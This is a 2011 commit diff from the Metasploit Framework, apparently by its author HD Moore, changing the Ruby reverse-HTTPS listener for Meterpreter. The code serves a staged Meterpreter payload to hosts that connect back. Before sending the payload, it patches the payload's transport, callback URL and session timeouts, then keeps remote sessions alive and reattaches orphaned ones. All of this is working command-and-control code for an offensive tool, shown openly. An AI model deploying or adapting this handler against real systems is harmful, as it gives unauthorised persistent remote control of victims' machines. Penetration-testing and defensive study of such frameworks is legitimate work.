Merge in recent meterpreter work. These are not the commits you are looking for (more info on what all this is later this week).

git-svn-id: file:///home/svn/framework3/trunk@13053 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore
2011-06-28 21:26:43 +00:00
parent dc1e42af2c
commit 9220506ba2
38 changed files with 742 additions and 856 deletions
+76 -28
View File
@@ -38,28 +38,29 @@ module ReverseHttps
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
], Msf::Handler::ReverseHttps)
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
], Msf::Handler::ReverseHttps)
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
], Msf::Handler::ReverseHttps)
end
#
# Create an HTTPS listener
#
def setup_handler
comm = datastore['ReverseListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
@@ -69,7 +70,8 @@ module ReverseHttps
'Msf' => framework,
'MsfExploit' => self,
},
comm
comm,
datastore['SSLCert']
)
# Create a reference to ourselves
@@ -82,8 +84,7 @@ module ReverseHttps
},
'VirtualDirectory' => true)
dlog("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/", 'core', LEV_2)
self.conn_ids = []
print_status("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/")
end
@@ -101,13 +102,15 @@ module ReverseHttps
end
#
# Stops the service and deinitializes it.
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
Rex::ServiceManager.stop_service(service)
self.service.remove_resource("/") if self.service
end
attr_accessor :service # :nodoc:
attr_accessor :conn_ids
protected
@@ -122,42 +125,87 @@ protected
# Process the requested resource.
case req.relative_resource
when /\/A(.+)/
target_id = $1
when /^\/A?INITM?/
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{target_id} received...")
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
resp.body = obj.prestage_payload + obj.stage_payload(target_id)
# Replace the transport string first (TRANSPORT_SOCKET_SSL
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTPS\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
when /\/B(.+)/
target_id = $1
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Expiration Timeout at offset #{i}...")
# This is the second connection from the actual stage, hand the socket
# off to the real payload handler
print_status("#{cli.peerhost}:#{cli.peerport} Stage connection for target #{target_id} received...")
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Communication Timeout at offset #{i}...")
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { :skip_ssl => true, :target_id => target_id })
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
# Specify this socket as keep-alive to prevent an immediate kill
cli.keepalive = true
when /^\/(CONN_.*)\//
resp.body = ""
conn_id = $1
# Remove this socket from the polled client list in the server
obj.service.listener.clients.delete(cli)
return
if true # if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")
conn_ids << conn_id
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource}...")
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
obj.service.close_client( cli )
end